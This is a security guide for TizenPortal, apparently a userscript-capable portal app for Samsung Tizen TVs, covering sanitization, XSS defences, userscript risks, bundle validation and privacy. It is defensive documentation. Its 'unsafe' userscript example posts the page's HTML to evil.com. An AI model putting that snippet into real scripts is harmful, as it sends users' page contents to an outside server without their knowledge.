TizenPortal is designed with security as a priority. This guide explains the security features, best practices, and considerations when using TizenPortal.
TizenPortal is designed for single-user Samsung Tizen Smart TVs. The security model assumes:
- ✅ Single user with physical access to the device
- ✅ No multi-user concerns or access control needed
- ✅ Data stored locally is not secret (site shortcuts, preferences)
- ✅ User is responsible for securing their own device
localStorage is used for:
- Site cards (URLs, names, settings)
- User preferences (theme, navigation mode)
- Global userscripts
- Feature configuration
Important: All data is stored unencrypted in the browser's localStorage. This is appropriate for the single-user TV use case where data is not sensitive.
All user inputs are sanitized before use:
// Enforces http/https protocols only
// Blocks: javascript:, data:, vbscript:, blob:, etc.
sanitizeUrl(userInput);Protected Against:
- Protocol injection attacks
- XSS via
javascript:URLs - Data exfiltration via
data:URIs
// Escapes all HTML-significant characters
escapeHtml(userContent);Protected Against:
- XSS via HTML injection
- Script tag injection
- Attribute injection
// Strips dangerous CSS constructs
sanitizeCss(userCSS);Blocks:
@importrules (external stylesheet loading)url()values (network requests)expression()(IE CSS expressions)-moz-binding(XBL binding)javascript:anddata:protocols</style>tags (context breakout)
TizenPortal prevents cross-site scripting through:
- ✅ All user content escaped before DOM insertion
- ✅
textContentpreferred overinnerHTMLfor dynamic content - ✅ Static HTML templates for UI structure
- ✅ No
eval()ordocument.write() - ✅ Safe DOM manipulation with
createElement()
- Same-origin policy enforced by browser
- Cross-origin iframe access wrapped in try-catch
- PostMessage uses specific target origins (never
'*') - Cross-origin document access gracefully fails
TizenPortal handles localStorage quota limits:
// Safe storage with quota detection
safeLocalStorageSet(key, value);
// Returns: { success, error, message }If quota is exceeded:
- User is notified via console error
- Data is not lost (operation fails safely)
- Recommendation to remove old cards/scripts
Userscripts run with full page access. Only enable scripts that:
- ✅ You wrote yourself, OR
- ✅ Come from trusted sources you verify, OR
- ✅ You've reviewed and understand the code
Userscripts have access to:
window- Full browser window objectdocument- Complete DOM accessTizenPortal- TizenPortal APIcard- Current site configurationbundle- Current bundle instance
Malicious userscripts could:
- ❌ Steal data from pages you visit
- ❌ Modify page behavior unexpectedly
- ❌ Access your TizenPortal configuration
- ❌ Send data to external servers
- Review Code - Always read userscript source before enabling
- Test Safely - Test new scripts on non-sensitive sites first
- Minimal Scripts - Only enable scripts you actively use
- Regular Audits - Review enabled scripts periodically
- Trusted Sources - Only use scripts from developers you trust
// ✅ SAFE: Simple styling enhancement
(function() {
var style = document.createElement('style');
style.textContent = 'body { font-size: 1.2em; }';
document.head.appendChild(style);
})();// ❌ UNSAFE: Sends data to external server
(function() {
var data = document.body.innerHTML;
fetch('https://evil.com/collect', {
method: 'POST',
body: data
});
})();All bundle manifests are validated before loading:
- Required fields checked (name, displayName, version, description)
- Type validation on all fields
- Whitelisted values for modes and options
- Array and object structure validation
Invalid manifests are rejected with error messages.
- Bundles are loaded per-site (not globally)
- Bundle CSS is scoped to the bundle's target site
- Bundle deactivation cleans up resources
- Userscripts are cleared when bundles change
TizenPortal includes vetted bundles:
- Default - Basic enhancements for all sites
- Audiobookshelf - Optimized for Audiobookshelf
- Adblock - Generic ad blocking (CSS-based)
All built-in bundles are reviewed and considered safe.
- URLs without protocols are prepended with
https:// - Certificate validation is handled by the browser
- No certificate pinning (respects system trust store)
TizenPortal loads:
- ✅ Polyfills from npm packages (bundled at build time)
- ✅ User-specified site URLs (via cards)
- ✅ User-specified favicon URLs (optional)
TizenPortal does NOT:
- ❌ Load analytics or tracking scripts
- ❌ Send data to external servers
- ❌ Use third-party CDNs at runtime
TizenPortal does not collect any user data.
- ✅ No analytics
- ✅ No tracking
- ✅ No telemetry
- ✅ No external API calls
All data stays on your device:
- Site cards stored in localStorage
- Preferences stored in localStorage
- Userscripts stored in localStorage
- No cloud sync or backup
- TizenPortal modifies browser history for clean URLs
- Hash parameters (
#tp=...) are removed after reading - Query parameters (
?tp=...) are removed after reading - This prevents payload data from appearing in browser history
TizenPortal undergoes regular security reviews:
- Latest Review: February 11, 2026
- Status: ✅ APPROVED FOR USE
- Vulnerabilities: 0 critical, 0 high, 0 medium, 0 low (all issues resolved or accepted)
- Dependencies: 0 vulnerable packages
See the Security Guide for full security documentation.
If you discover a security vulnerability in TizenPortal:
- Do NOT open a public GitHub issue
- Email the maintainer with details
- Include steps to reproduce
- Wait for acknowledgment before public disclosure
Responsible disclosure is appreciated.
- Keep your Samsung TV's firmware updated
- Use a secure WiFi network
- Don't share your TV with untrusted users
- Only add sites you trust and use
- Review card URLs before adding
- Remove unused cards periodically
- Only enable scripts you understand
- Review script source code
- Disable unused scripts
- Be cautious with scripts from others
- Use built-in bundles when available
- Review custom bundle code before use
- Check bundle manifests for validity
- Update TizenPortal regularly
- Check release notes for security fixes
- Follow the TizenBrew update process
Before using TizenPortal:
- I understand userscripts run with full page access
- I will only enable scripts I trust and have reviewed
- I will only add site cards for sites I use and trust
- I will keep TizenPortal updated to the latest version
- I will not share userscripts that access sensitive data
- OWASP Top 10 - Web application security risks
- Mozilla Web Security Guidelines - Security best practices
Last Updated: February 11, 2026